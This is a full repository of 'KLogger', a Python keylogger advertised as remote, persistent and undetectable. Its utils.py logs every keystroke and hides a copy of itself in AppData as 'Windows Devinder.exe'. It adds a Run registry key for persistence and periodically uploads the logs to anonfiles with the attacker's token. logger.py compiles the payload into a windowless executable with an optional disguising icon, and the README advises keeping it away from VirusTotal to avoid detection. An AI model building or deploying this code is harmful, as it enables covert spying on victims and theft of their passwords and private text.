├── README.md
├── Utils
├── banne_r.py
├── generator.py
└── utils.py
├── linux_setup.sh
├── logger.py
├── src
├── 1.png
├── 2.png
└── AV.png
└── win_requirements.txt
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | K🔑Logger v3.0.0
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | ### Description
17 | Remote persistent 🔑Logger for Windows and Linux
18 | ### Features
19 | - Logs keys pressed on keyboard
20 | - upload reports in [anonfile](https://anonfiles.com/).
21 | - Works with Linux and Windows.
22 | - Does not require root or admin privlages.
23 | ### All previous problems have been resolved
24 | ### It is still undetectable
25 | #### Requirements
26 | * python >= 3.8 ++ Download [Python](https://www.python.org/ftp/python/3.8.10/python-3.8.10-amd64.exe)
27 | * os : Windows
28 | * os : Linux
29 |
30 | ### Installation to Windows:
31 |
32 | ```bash
33 | git clone https://github.com/De3vil/KLogger.git
34 | cd KLogger
35 | pip install -r win_requirements.txt
36 | python logger.py
37 | ```
38 | ### Installation to Linux
39 | ```bash
40 | git clone https://github.com/De3vil/KLogger.git
41 | cd KLogger
42 | chmod +x linux_setup.sh
43 | bash linux_setup.sh
44 | python logger.py
45 | ```
46 | ### warning:
47 | ```bash
48 | * Don't Upload in VirusTotal.com Bcz This tool will not work with Time.
49 | * Virustotal Share Signatures With AV Comapnies.
50 | * Again Don't be an Idiot!
51 | ```
52 |
53 |
54 | ## AV detection
55 | 
56 |
57 | 
58 |
59 | ***
60 | Abdulrahman Mohammed
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 | If this tool has been useful for you, feel free to thank me by buying me a coffee :)
70 | [](https://www.buymeacoffee.com/De3vil)
71 | [](https://www.paypal.com/paypalme/De3vil01)
72 |
--------------------------------------------------------------------------------
/Utils/banne_r.py:
--------------------------------------------------------------------------------
1 | import colored
2 | bannar_color =[
3 | colored.fg("magenta") + colored.attr("bold"),
4 | colored.fg("orchid") + colored.attr("bold"),
5 | colored.fg("cyan") + colored.attr("bold"),
6 | colored.fg("yellow") + colored.attr("bold"),
7 | colored.fg("#bc000b") + colored.attr("bold"),
8 | colored.fg("white") + colored.attr("bold"),
9 | colored.fg("green") + colored.attr("bold"),
10 | colored.fg("#aa557f") + colored.attr("bold"),
11 | colored.fg("#33ff29") + colored.attr("bold"),
12 | colored.fg("plum_3") + colored.attr("bold"),
13 | colored.fg("#ff1d00") + colored.attr("bold"),
14 | colored.fg("#ab01ff") + colored.attr("bold"),
15 | colored.fg("#c81d59") + colored.attr("bold"),
16 | colored.fg("blue") + colored.attr("bold"),
17 | colored.fg("#c81d59") + colored.bg("cyan")+colored.attr("bold"),
18 | ]
19 | #==turquoise_2=============#ff013c=================================
20 |
21 | W = bannar_color[3] #yellow
22 | Y = bannar_color[0] #magenta
23 | B = bannar_color[2] #cyan
24 | G = bannar_color[6] #green
25 | R = bannar_color[4] #red
26 | M = bannar_color[7] ##aa557f
27 | X = bannar_color[8] ##33ff29
28 | Z = bannar_color[9] ##ff1d00
29 | Q = bannar_color[10]##ab01ff
30 | GG = bannar_color[11]##c81d59
31 | WI = bannar_color[5]#white
32 | BOOLD = bannar_color[12]
33 | bl = bannar_color[-2]
34 | F = bannar_color[-1]
35 | res = colored.style.RESET
36 |
37 |
38 | banner =f"""
39 | {Q}MiDo_de3Vil{GG} ██╗ ██████╗ ██████╗ ███████╗██████╗
40 | {Q}KEY_loger_devil{GG} ██║ ██╔═══██╗██╔════╝ ██╔════╝██╔══██╗
41 | {Q}KEYY_logeer_de3vil:{bl}...........................{GG} ██║ ██║ ██║██║ ███╗█████╗ ██████╔╝
42 | {Q}KEY: :keylogger#:{X}KKKKKKKKKKKKKKKKKKKKKKKKKKKK^{GG} ██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
43 | {Q}KEY: :keylogge#:{X}EEEEEEEEEEEEEEEEEEEEEEEEEEEEE~{GG} ███████╗╚██████╔╝╚██████╔╝███████╗██║ ██║
44 | {Q}KEY: :keyloggeY#:{X}YYYYG^ :!!^...5##5~~7BP^{GG} ╚══════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
45 | {Q}.B?~7G&&&&&&&~:{bl}........................... {B}Created by{Q}:{X}AbdulRahman Mohammed{R}(De3vil) {WI}
46 | {Q}.Y&&&&&&&&&&&&G{Q}
47 | {Q}MiDo_de3Vil{Q}
48 |
49 | {WI}"""
50 |
--------------------------------------------------------------------------------
/Utils/generator.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Author: Abdulrahman Mohammed (De3vil)
3 | # Don't touch my code, it's art
4 | #+==============================
5 | def build_t(token,time_interval):
6 | with open("Key.py","w+") as file:
7 | file.write("from Utils.utils import I_see_u \n")
8 | file.write("from time import sleep\n")
9 | file.write(f"""
10 | def run():
11 | while 1:
12 | try:
13 | Log = I_see_u('{token}',{time_interval})
14 | """)
15 | file.write("Log.Run()")
16 | file.write("""
17 | except Exception:
18 | sleep(120)
19 | """)
20 | file.write("""
21 | run()
22 | """)
23 | file.close()
--------------------------------------------------------------------------------
/Utils/utils.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # TODO Author: Abdulrahman Mohammed (De3vil)
3 | # TODO Don't touch my code, it's art
4 | #+==============================
5 | from pynput.keyboard import Listener , Key
6 | import requests , shutil , subprocess
7 | import threading
8 | from requests import post
9 | from os import getenv , environ , path , chdir , remove
10 | from sys import executable
11 | class I_see_u:
12 | def __init__(self,token,time_interval):
13 | self.filename = getenv("Computername")+".txt"
14 | self.token = token
15 | self.time_interval = time_interval*60
16 | self.text = ""
17 | self.paths = path.join(environ["USERPROFILE"],"AppData","Local","temp")
18 | chdir(self.paths)
19 | def persistent_on_windows(self):
20 | _file_location = environ["appdata"] + "\\Windows Devinder.exe"
21 | if not path.exists(_file_location):
22 | shutil.copyfile(executable, _file_location)
23 | subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + _file_location + '"', shell=True)
24 | # TODO: Add all the letters (Done)
25 | # TODO: Add all quotation marks (Done)
26 | def KeyMin(self,argument):
27 | switcher = {
28 | "'a'": "a",
29 | "'e'": "e",
30 | "'i'": "i",
31 | "'o'": "o",
32 | "'u'": "u",
33 | "'b'": "b",
34 | "'c'": "c",
35 | "'d'": "d",
36 | "'f'": "f",
37 | "'g'": "g",
38 | "'h'": "h",
39 | "'j'": "j",
40 | "'J'": "J",
41 | "'k'": "k",
42 | "'l'": "l",
43 | "'m'": "m",
44 | "'n'": "n",
45 | "'ñ'": "ñ",
46 | "'p'": "p",
47 | "'q'": "q",
48 | "'r'": "r",
49 | "'s'": "s",
50 | "'t'": "t",
51 | "'v'": "v",
52 | "'w'": "w",
53 | "'x'": "x",
54 | "'y'": "y",
55 | "'z'": "z",
56 | "','": ",", # ,
57 | "'.'": ".", # .
58 | "'_'": "_", # _
59 | "'-'": "-", # -
60 | "':'": ":", #
61 | "'A'": "A",
62 | "'E'": "E",
63 | "'I'": "I",
64 | "'O'": "O",
65 | "'U'": "U",
66 | "'B'": "B",
67 | "'C'": "C",
68 | "'D'": "D",
69 | "'F'": "F",
70 | "'G'": "G",
71 | "'H'": "H",
72 | "'K'": "K",
73 | "'L'": "L",
74 | "'M'": "M",
75 | "'N'": "N",
76 | "'Ñ'": "Ñ",
77 | "'P'": "P",
78 | "'Q'": "Q",
79 | "'R'": "R",
80 | "'S'": "S",
81 | "'T'": "T",
82 | "'V'": "V",
83 | "'W'": "W",
84 | "'X'": "X",
85 | "'Y'": "Y",
86 | "'Z'": "Z",
87 | "'1'": "1",
88 | "'2'": "2",
89 | "'3'": "3",
90 | "'4'": "4",
91 | "'5'": "5",
92 | "'6'": "6",
93 | "'7'": "7",
94 | "'8'": "8",
95 | "'9'": "9",
96 | "'0'": "0",
97 | "'@'": "@", # @
98 | "'#'": "#", # #
99 | "'*'": "*", #
100 | "'('": "(", # (
101 | "')'": ")", # )
102 | "'?'": "?", # ?
103 | "'='": "=", # =
104 | "'+'": "+", # +
105 | "'!'": "!", # !
106 | "'}'": "}", # }
107 | "'{'": "{", # {}
108 | "'´'": "´", # ´
109 | "'|'": "|", # |
110 | "'°'": "°", # °
111 | "'^'": "¬", # ^
112 | "';'": ";", #
113 | "'$'": "$", # $
114 | "'%'": "%", # %
115 | "'&'": "&", # &
116 | "'>'": ">", #
117 | "'<'": "<", #
118 | "'/'": "/", # /
119 | "'¿'": "¿", # ¿
120 | "'¡'": "¡", # ¡
121 | "'~'": "~" , #
122 | "'ا '": "أ "
123 | }
124 | return switcher.get(argument, "")
125 |
126 | # TODO: Add all Numers Optimized (Done)
127 | def KeyMax(self,argument):
128 | switcher = {
129 | "Key.space": " ",
130 | "Key.backspace": "«",
131 | "Key.enter": "\r\n",
132 | "Key.tab": "",
133 | "Key.delete":" «×» ",
134 | "<96>": "0", # 0
135 | "<97>": "1", # 1
136 | "<98>": "2", # 2
137 | "<99>": "3", # 3
138 | "<100>": "4", # 4
139 | "<101>": "5", # 5
140 | "<102>": "6", # 6
141 | "<103>": "7", # 7
142 | "<104>": "8", # 8
143 | "<105>": "9", # 9
144 | "None<96>": "0", # 0
145 | "None<97>": "1", # 1
146 | "None<98>": "2", # 2
147 | "None<99>": "3", # 3
148 | "None<100>": "4", # 4
149 | "None<101>": "5", # 5
150 | "None<102>": "6", # 6
151 | "None<103>": "7", # 7
152 | "None<104>": "8", # 8
153 | "None<105>": "9", # 9
154 | "['^']": "^",
155 | "['`']": "`", #
156 | "['¨']": "¨", #
157 | "['´']": "´", #
158 | "<110>": ".", #
159 | "None<110>": ".", #
160 | "Key.alt_l": " [Alt L] ", #
161 | "Key.alt_r": " [Alt R] ",
162 | "Key.shift_r": " [Shift R] ",
163 | "Key.shift": " [Shift L] ",
164 | "Key.ctrl_r": " [Control R] ", #
165 | "Key.ctrl_l": " [Control L] ", #
166 | "Key.right" : " [Right] ", #
167 | "Key.left" : " [Left] ", #
168 | "Key.up" : " [Up]", #
169 | "Key.down" : " [Down] ", #
170 | # "'\x16'" : " [None] ",
171 | # "'\x18'" : " [None] ",
172 | # "'\x03'" : " [None] ",
173 | "Key.caps_lock" : " [Mayus lock] ",
174 | # "Key.media_previous" : " ♫ ", #
175 | # "Key.media_next" : " ♫→ ", #
176 | # "Key.media_play_pause" : " ■ ♫ ■ ",#
177 | "Key.cmd" : " [Windows] "
178 | }
179 | return switcher.get(argument, "")
180 |
181 | def on_press(self,key):
182 |
183 | with open(f"{self.filename}",mode='a' , encoding='utf-8') as file_txt:
184 | if (len(str(key))) <= 3:
185 | file_txt.write(self.KeyMin(str(key)))
186 | else:
187 | file_txt.write(self.KeyMax(str(key)))
188 | # TODO: (DONE)
189 |
190 | def send_mega_req(self):
191 |
192 | try:
193 | # print(self.text)
194 | timer = threading.Timer(self.time_interval, self.send_mega_req).start()
195 | files = {'file': (f'{self.filename}', open(f"{self.filename}", 'rb'))}
196 | url = f'https://api.anonfiles.com/upload?token={self.token}'
197 | post(url, files=files)
198 | remove(self.filename)
199 | except Exception as e:
200 | pass
201 | # print(e)
202 |
203 | def Run(self):
204 | self.persistent_on_windows()
205 | with Listener(on_press=self.on_press) as listener:
206 | self.send_mega_req()
207 | listener.join()
208 |
209 |
210 |
--------------------------------------------------------------------------------
/linux_setup.sh:
--------------------------------------------------------------------------------
1 | rm /var/lib/dpkg/lock
2 | rm /var/cache/apt/archives/lock
3 | rm /var/lib/apt/lists/lock
4 | sudo dpkg --add-architecture i386
5 | sudo apt install python3
6 | sudo wget https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe
7 | wine python-3.8.10.exe
8 | wine msiexec /i python-3.8.10.exe
9 | sudo wine ~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/python.exe -m pip install --upgrade pip
10 | sudo wine ~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/python.exe -m pip install colored requests pyinstaller pynput
11 | pip install colored requests pyinstaller pynput
12 | pip3 install colored requests pyinstaller pynput
13 | apt install -y gnome-shell-extension-dashtodock
--------------------------------------------------------------------------------
/logger.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # TODO Author: Abdulrahman Mohammed (De3vil)
3 | # TODO Don't touch my code, it's art
4 | #+==============================
5 | from Utils.generator import build_t
6 | from Utils.banne_r import banner ,G,R,B,X,Q,WI , Y , BOOLD , F,res,bl
7 | from shutil import rmtree
8 | import os
9 | from subprocess import call
10 | from os import system , name , remove
11 | if name =="nt":
12 | system("cls")
13 | else:
14 | system("clear")
15 | print(banner)
16 | class EngyRun:
17 | def __init__(self):
18 | self.filenampackeg = "Key.py"
19 | def enjoy_my_art(self,token,time_interval):
20 | build_t(self.token,self.time_interval)
21 | def rem_ove(self):
22 | global filenampackeg
23 | try:
24 | self.file = self.filenampackeg.split(".")[-2]
25 | self.spfile = self.file+".spec"
26 | self.rm_fl = remove(self.filenampackeg)
27 | self.rm_fl = remove(self.spfile)
28 | rmtree("__pycache__", ignore_errors=True)
29 | rmtree("build", ignore_errors=True)
30 | except Exception as e:
31 | print(e)
32 | def CompilinG(self,title_ico="CompilinG Start"):
33 | print(X+"║")
34 | print(X+"╚══["+R+"🔑-Logger"+X+"]──["+R+"~"+X+"]─["+R+title_ico+X+"] "+WI)
35 | system(f"pyinstaller --onefile --noconsole {self.filenampackeg}")
36 | self.rem_ove()
37 | system("cls")
38 | def CompilinG_icon(self):
39 | self.icon = self.colored_input(X+f"Set Your icon File",spaces=12)
40 | system(f"pyinstaller --onefile --noconsole --icon={self.icon} {self.filenampackeg}")
41 | self.rem_ove()
42 | def CompilinG_Linux(self):
43 | pyinstaller_path = os.path.expanduser('~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/Scripts/pyinstaller.exe')
44 | compile_command = ["wine", pyinstaller_path, "--onefile", "--noconsole", self.filenampackeg]
45 | call(compile_command)
46 | self.rem_ove()
47 | system("clear")
48 | def CompilinG_Linux_icon(self):
49 | pyinstaller_path = os.path.expanduser('~/.wine/drive_c/users/root/AppData/Local/Programs/Python/Python38-32/Scripts/pyinstaller.exe')
50 | compile_command = ["wine", pyinstaller_path, "--onefile", "--noconsole" ,"--icon="+str(self.icon), self.filenampackeg]
51 | call(compile_command)
52 | self.rem_ove()
53 | system("clear")
54 | def colored_input(self,title="menu",spaces=3):
55 | self.spaces = " "*spaces
56 | print(G+self.spaces+"║")
57 | line = G+self.spaces+"╚══["+Y+"🔑-Logger"+G+"]──["+R+"~"+G+"]─["+B+title+G+"]"+X+":"+WI
58 | try:
59 | return input(line)
60 | except KeyboardInterrupt:
61 | exit(0)
62 | def packing(self):
63 | self.compiling = self.colored_input(X+f"{B}compiling {WI}({X}Py{WI}) {B}TO {WI}({X}ExE{WI}) {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=8)
64 | if self.compiling == "y" or self.compiling == "Y":
65 | self.ico = self.colored_input(X+f"{B}You want set {X}icon ? {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=12)
66 | if self.ico == "y" or self.ico == "Y":
67 | self.CompilinG_icon()
68 | else:
69 | self.CompilinG()
70 | else:
71 | pass
72 | system("cls")
73 | if self.compiling == "n" or self.compiling == "N":
74 | exit(0)
75 | else:
76 | exit(0)
77 | def packing_linux(self):
78 | self.compiling = self.colored_input(X+f"{B}compiling {WI}({X}Py{WI}) {B}file to {WI}({X}ExE{WI}) {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=12)
79 | if self.compiling == "y" or self.compiling == "Y":
80 | self.ico = self.colored_input(X+f"{B}You want set {X}icon ? {WI}({X}Y {WI}&& {R}N{WI}){WI}",spaces=12)
81 | if self.ico == "y" or self.ico == "Y":
82 | self.CompilinG_Linux_icon()
83 | else:
84 | self.CompilinG_Linux()
85 | else:
86 | system("clear")
87 | merry()
88 | self.choose()
89 | if self.compiling == "n" or self.compiling == "N":
90 | self.CompilinG_Linux()
91 | else:
92 | exit(0)
93 | def choose(self,spaces0=3,spaces1=7):
94 | spaces0 = " " *spaces0
95 | spaces1 = " " *spaces1
96 | try:
97 | self.token = self.colored_input(f"{BOOLD}{F}https://anonfiles.com{res}{bl}:{X}Token :",spaces=4)
98 | self.time_interval = self.colored_input(f"{BOOLD}{F}in minutes{res}{bl}:{X}Time :",spaces=4)
99 | self.enjoy_my_art(self.token,self.time_interval)
100 | self.choose_compiling()
101 | except Exception as e:
102 | print(e)
103 | def choose_compiling(self):
104 | if name == "nt":
105 | self.packing()
106 | else:
107 | self.packing_linux()
108 | x=EngyRun()
109 | x.choose()
110 |
--------------------------------------------------------------------------------
/src/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/De3vil/KLogger/9eb5ec14782d46073aec508d4bb06d834abac3b2/src/1.png
--------------------------------------------------------------------------------
/src/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/De3vil/KLogger/9eb5ec14782d46073aec508d4bb06d834abac3b2/src/2.png
--------------------------------------------------------------------------------
/src/AV.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/De3vil/KLogger/9eb5ec14782d46073aec508d4bb06d834abac3b2/src/AV.png
--------------------------------------------------------------------------------
/win_requirements.txt:
--------------------------------------------------------------------------------
1 | pyinstaller
2 | pynput==1.7.6
3 | requests==2.28.1
4 | colored
5 |
--------------------------------------------------------------------------------